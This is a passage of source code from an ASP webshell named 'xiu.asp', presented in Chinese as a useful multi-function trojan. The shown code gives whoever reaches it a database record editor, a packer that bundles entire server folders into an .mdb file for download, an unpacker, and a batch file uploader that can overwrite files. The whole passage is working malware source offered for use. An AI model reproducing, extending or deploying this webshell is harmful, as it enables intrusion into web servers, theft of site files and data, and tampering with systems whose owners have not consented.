xiu.asp

一个相当不错的多功能..很有用的木马

			End If

			If theAct = "new" Then rs.AddNew

			If theAct = "del" Then
				rs.Delete
				rs.Update
				AlertThenClose("删除成功!")
				Response.End
			 Else
				If theAct <> "pre" And theAct <> "next" Then
					For Each x In rs.Fields
						If strPrimaryKey <> x.Name Then
							rs(x.Name) = Request.Form(x.Name & "_Column")
						End If
					Next
					rs.Update
				End If
				strValue = rs(strColumn)
			End If

			If theAct = "new" Then
				sql = "Select * From [" & strTable & "] Where " & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
			End If
			rs.Close
		End If

		rs.Open sql, conn, 1, 1

		echo "<table border=1 width=600>"
		echo "<tr>"
		echo "<td height=22 class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> SQL数据修改</td>"
		echo "</tr>"
		echo "<input type=hidden value=PageDBTool name=PageName>"
		echo "<input type=hidden name=theAct value=save>"
		echo "<input type=hidden name=sql value=""" & HtmlEncode(GetPost("sql")) & """>"
		echo "<input type=hidden name=theTable value=""" & strTable & """>"
		echo "<input type=hidden value=""" & HtmlEncode(strColumn & "!" & strValue) & """ name=param>"
		echo "<input type=hidden value=""" & HtmlEncode(GetPost("thePath")) & """ name=thePath>"

		For Each x In rs.Fields
			echo "<tr>"
			echo "<td height=22 width=150>&nbsp;" & HtmlEncode(x.Name) & "<br/>&nbsp;(<em>" & GetDataType(x.Type) & "</em>)</td>"
			echo "<td width=450>&nbsp;"
			echo "<textarea style='width:436;' name=""" & x.Name & "_Column""" & IIf(x.Type = 201 Or x.Type = 203, " rows=6", "")
			echo IIf(x.Properties("ISAUTOINCREMENT").Value, " disabled", "") 
			echo IIf(x.Name = strPrimaryKey, " title='主键,由于主键约束,将无法被修改,也不能出现相同值.'", "") & ">" & HtmlEncode(x.value) & "</textarea>"
			echo "</td></tr>"
		Next
		echo "<tr>"
		echo "<td colspan=2 class=td align=center>"
		If multiTables = False Then
			If strPrimaryKey = "" Then
				echo "<input type=button value=修改 onclick=if(confirm('确定要修改这条记录吗?\n此表没有主键,继续操作可能会导致数据库灾难,并且该错误无法被撤消.')){this.form.theAct.value='save';this.form.submit();}>"
			 Else
				echo "<input type=submit value=修改 onclick=this.form.theAct.value='save';>"
				echo "<input type=button value=添加 onclick=if(confirm('确实要添加当前为新记录吗?')){this.form.theAct.value='new';this.form.submit();};>"
				echo "<input type=button value=删除 onclick=if(confirm('确实删除当前记录吗?')){this.form.theAct.value='del';this.form.submit();};>"
			End If
		 Else
			echo "<input type=button value=暂不支持多表操作 disabled>"
		End If
		echo "<input type=reset value=重置><input type=button value=关闭 onclick='window.close();'>"
		If IsNumeric(strValue) = True Then
			echo "<input type=button value=上一条 onclick=""this.form.theAct.value='pre';this.form.submit();"">"
			echo "<input type=button value=下一条 onclick=""this.form.theAct.value='next';this.form.submit();"">"
		End If
		echo "</td>"
		echo "</tr>"
		echo "</table>"
		
		rs.Close
		Set rs = Nothing
		DestoryConn()
	End Sub

	Sub CreateConn()
		Dim connStr, mdbInfo, userName, passWord, strPath
		If isDebugMode = False Then On Error Resume Next
		Set conn = Server.CreateObject("Adodb.Connection")
		If LCase(Left(thePath, 4)) = "sql:" Then
			connStr = Mid(thePath, 5)
			isSqlServer = True
		 Else
			mdbInfo = Split(thePath, ";")
			strPath = mdbInfo(0)
			strPath = strPath
			ChkErr(Err)
			If UBound(mdbInfo) >= 2 Then
				userName = mdbInfo(1)
				passWord = mdbInfo(2)
			End If
			connStr = Replace(accessStr, "{$dbSource}", strPath)
			connStr = Replace(connStr, "{$userId}", userName)
			connStr = Replace(connStr, "{$passWord}", passWord)
		end if
		conn.Open connStr
		ChkErr(Err)
	End Sub
	
	Sub DestoryConn()
		conn.Close
		Set conn = Nothing
	End Sub
	
	Function GetDataType(flag)
		Dim str
		Select Case flag
			Case 0 : str = "EMPTY"
			Case 2 : str = "SMALLINT"
			Case 3 : str = "INTEGER"
			Case 4 : str = "SINGLE"
			Case 5 : str = "DOUBLE"
			Case 6 : str = "CURRENCY"
			Case 7 : str = "DATE"
			Case 8 : str = "BSTR"
			Case 9 : str = "IDISPATCH"
			Case 10 : str = "ERROR"
			Case 11 : str = "BIT"
			Case 12 : str = "VARIANT"
			Case 13 : str = "IUNKNOWN"
			Case 14 : str = "DECIMAL"
			Case 16 : str = "TINYINT"
			Case 17 : str = "UNSIGNEDTINYINT"
			Case 18 : str = "UNSIGNEDSMALLINT"
			Case 19 : str = "UNSIGNEDINT"
			Case 20 : str = "BIGINT"
			Case 21 : str = "UNSIGNEDBIGINT"
			Case 72 : str = "GUID"
			Case 128 : str = "BINARY"
			Case 129 : str = "CHAR"
			Case 130 : str = "WCHAR"
			Case 131 : str = "NUMERIC"
			Case 132 : str = "USERDEFINED"
			Case 133 : str = "DBDATE"
			Case 134 : str = "DBTIME"
			Case 135 : str = "DBTIMESTAMP"
			Case 136 : str = "CHAPTER"
			Case 200 : str = "VARCHAR"
			Case 201 : str = "LONGVARCHAR"
			Case 202 : str = "VARWCHAR"
			Case 203 : str = "LONGVARWCHAR"
			Case 204 : str = "VARBINARY"
			Case 205 : str = "LONGVARBINARY"
			Case Else : str = flag
		End Select
		GetDataType = str
	End Function
	
	Function GetPrimaryKey(strTable)
		Dim rsPrimary
		If isDebugMode = False Then On Error Resume Next
		Set rsPrimary = conn.OpenSchema(28, Array(Empty, Empty, strTable))
		If Not rsPrimary.Eof Then GetPrimaryKey = rsPrimary("COLUMN_NAME")
		Set rsPrimary = Nothing
	End Function

	Sub PagePack()
		ShowTitle("文件夹打包/解开器")
		Server.ScriptTimeOut = 5000
		
		If theAct = "PackIt" Or theAct = "PackOne" Then
			PackIt()
			AlertThenClose("打包成功!生成为该文件夹目录下的Packet.mdb文件.\n下载下来后可以使用unpack.vbs进行解开.")
			Response.End()
		End If
		If theAct = "UnPack" Then
			UnPack()
			AlertThenClose("解开成功!解开目录为Packet.mdb所在目录.")
			Response.End()
		End If
		
		PackTable()
	End Sub
	
	Sub PackTable()
		echo "<base target=_blank>"
		echo "<table width=750 border=1>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> 文件夹打包/解开器(需FSO支持)"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<form method=post action='" & url & "'>"
		echo "<tr>"
		echo "<td width='20%'>&nbsp;打包</td>"
		echo "<td>&nbsp;<input name=thePath value='" & rootPathB & "' style='width:467px;'> "
		echo "<input type=hidden value=PagePack name=PageName>"
		echo "<input type=hidden value=PackIt name=theAct>"
		echo "<input type=submit value='开始打包'>"
		echo "</td></tr>"
		echo "</form>"
		echo "<form method=post action='" & url & "'>"
		echo "<tr>"
		echo "<td>&nbsp;解包</td>"
		echo "<td>&nbsp;<input name=thePath value='Packet.mdb' style='width:467px;'> "
		echo "<input type=hidden value=PagePack name=PageName>"
		echo "<input type=hidden value=UnPack name=theAct>"
		echo "<input type=submit value='开始解包'>"
		echo "</td></tr>"
		echo "</form>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=2 class=td>By Marcos 2005.04&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Sub PackIt()
		Dim rs, db, conn, stream, connStr, objX, strPath, strPathB, isFolder, adoCatalog
		If isDebugMode = False Then On Error Resume Next

		strPath = thePath
		db = strPath & "\Packet.mdb"
		Set rs = Server.CreateObject("ADODB.RecordSet")
		Set stream = Server.CreateObject("ADODB.Stream")
		Set conn = Server.CreateObject("ADODB.Connection")
		Set adoCatalog = Server.CreateObject("ADOX.Catalog")
		connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & db

		If fso.FolderExists(strPath) = False Then
			ShowErr(thePath & " 目录不存在或者不允许访问!")
		End If
		If theAct = "PackIt" Then
			If fso.GetFolder(strPath).Size > 300 * 1024 * 1024 Then
				ShowErr("该目录超过300M, 可能造成服务器当机, 操作停止.")
			End If
		End If
		If fso.FileExists(db) = False Then
			adoCatalog.Create connStr
			conn.Open connStr
			conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
		 Else
			conn.Open connStr
		End If
		
		stream.Open
		stream.Type = 1
		rs.Open "FileData", conn, 3, 3

		If theAct = "PackIt" Then
			Call FsoTreeForMdb(strPath, rs, stream)
		 Else
		 	strPath = GetPost("truePath") & "\"
			For Each objX In Request.Form("checkBox")
				strPathB = strPath & objX
				isFolder = fso.FolderExists(strPathB)
				If isFolder = True Then
					Call FsoTreeForMdb(strPathB, rs, stream)
				 Else
					If InStr(sysFileList, "$" & objX & "$") <= 0 Then
						rs.AddNew
						rs("thePath") = "Packet" & Mid(strPathB, 3)
						stream.LoadFromFile(strPathB)
						rs("fileContent") = stream.Read()
						rs.Update
					End If
				End If
			Next
		End If

		rs.Close
		Conn.Close
		stream.Close
		Set rs = Nothing
		Set conn = Nothing
		Set stream = Nothing
		Set adoCatalog = Nothing
	End Sub
	
	Sub UnPack()
		Dim rs, ws, str, conn, stream, connStr, strPath, theFolder
		If isDebugMode = False Then On Error Resume Next

		strPath = thePath
		str = fso.GetParentFolderName(strPath) & "\"
		Set rs = CreateObject("ADODB.RecordSet")
		Set stream = CreateObject("ADODB.Stream")
		Set conn = CreateObject("ADODB.Connection")
		connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strPath

		conn.Open connStr
		ChkErr(Err)
		rs.Open "FileData", conn, 1, 1
		stream.Open
		stream.Type = 1

		Do Until rs.Eof
			theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
			If fso.FolderExists(str & theFolder) = False Then
				CreateFolder(str & theFolder)
			End If
			stream.SetEos()
			If IsNull(rs("fileContent")) = False Then stream.Write rs("fileContent")
			stream.SaveToFile str & rs("thePath"), 2
			rs.MoveNext
		Loop

		rs.Close
		conn.Close
		stream.Close
		Set ws = Nothing
		Set rs = Nothing
		Set stream = Nothing
		Set conn = Nothing
	End Sub
	
	Sub FsoTreeForMdb(strPath, rs, stream)
		Dim item, theFolder, folders, files
		If isDebugMode = False Then On Error Resume Next
		Set theFolder = fso.GetFolder(strPath)
		Set files = theFolder.Files
		Set folders = theFolder.SubFolders

		For Each item In folders
			Call FsoTreeForMdb(item.Path, rs, stream)
		Next

		For Each item In files
			If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
				rs.AddNew
				rs("thePath") = "Packet" & Mid(item.Path, 3)
				stream.LoadFromFile(item.Path)
				rs("fileContent") = stream.Read()
				rs.Update
			End If
		Next

		Set files = Nothing
		Set folders = Nothing
		Set theFolder = Nothing
	End Sub

	Sub PageUpload()
		ShowTitle("批量文件上传")
		theAct = Request.QueryString("theAct")
		If theAct = "upload" Then
			StreamUpload()
			echo "<script>alert('上传成功!');history.back();</script>"
		End If
		ShowUpload()
	End Sub
	
	Sub ShowUpload()
		If thePath = "" Then thePath = rootPathB
		echo "<form method=post onsubmit=this.Submit.disabled=true; enctype='multipart/form-data' action=?PageName=PageUpload&theAct=upload>"
		echo "<table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> 批量文件上传</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td width='20%'>"
		echo "&nbsp;上传到:"
		echo "</td>"
		echo "<td>"
		echo "&nbsp;<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=48><input type=checkbox name=overWrite>覆盖模式"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td valign=top>"
		echo "&nbsp;文件选择: "
		echo "</td>"
		echo "<td>&nbsp;<input id=fileCount size=6 value=1> <input type=button value=设定 onclick=makeFile(fileCount.value)>"
		echo "<div id=fileUpload>"
		echo "&nbsp;<input name=file1 type=file size=50>"
		echo "</div></td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td align=center class=td colspan=2>"
		echo "<input type=submit name=Submit value=上传 onclick=this.form.action+='&overWrite='+this.form.overWrite.checked;>"
		echo "<input type=reset value=重置><input type=button value=关闭 onclick=window.close();>"
		echo "</td>"
		echo "</tr>"
		echo "</table>"
		echo "</form>"
		echo "<script language=javascript>" & vbNewLine
		echo "function makeFile(n){" & vbNewLine
		echo "	fileUpload.innerHTML = '&nbsp;<input name=file1 type=file size=50>'" & vbNewLine
		echo "	for(var i=2; i<=n; i++)" & vbNewLine
		echo "		fileUpload.innerHTML += '<br/>&nbsp;<input name=file' + i + ' type=file size=50>';" & vbNewLine
		echo "}" & vbNewLine
		echo "</script>"
	End Sub
	
	Sub StreamUpload()
		Dim sA, sB, aryForm, aryFile, theForm, newLine, overWrite
		Dim strInfo, strName, strPath, strFileName, intFindStart, intFindEnd